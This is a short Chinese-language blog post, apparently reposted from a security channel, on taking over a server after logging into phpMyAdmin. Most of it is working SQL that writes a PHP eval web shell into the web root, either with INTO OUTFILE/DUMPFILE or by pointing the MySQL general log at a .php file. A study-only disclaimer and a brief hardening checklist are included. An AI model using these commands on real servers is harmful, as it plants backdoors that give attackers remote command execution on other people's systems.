phpMyAdmin为Web 开发人员提供了类似 Access，SQL Server 的图形化数据库操作界面，通过该管理工具可以对 MySQL 进行各种操作，如何创建数据库，数据表和生成 MySQL 数据库脚本文件等。当用户登录phpMyAdmin，可以利用其拿下系统权限。
注意：本文仅供学习和研究，坚决反对一切危害网络安全的行为。
登录
注意，由于phpMyAdmin 和php版本的问题，高版本需要修改相应的配置文件，同时需要知道站点的相关路劲才能复现。
获Shell
show variables like '%secure%'
select '<?php eval($_POST[x]) ?>' into outfile '/var/www/xx.php';
select '<?php eval($_POST[x]) ?>' into dumpfile '/var/www/xx.php';
通过日志写入
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>'
安全防范
加强数据库账号的安全强度 如果不是经常使用或者必须使用phpMyadmin，则在安装完成后可删除。 禁用plugin目录写入权限 严格目录写权限，除文件上传目录允许写权限外，其它文件及其目录在完成配置后将其禁止写权限，并在上传目录去掉执行权限。
更多精彩文章 欢迎关注我们
原文作者：Kali笔记；如有侵权，请联系管理员删除。
下一篇：
或许这是最好用的截图工具吧
请登录后发表评论
登录
全部评论
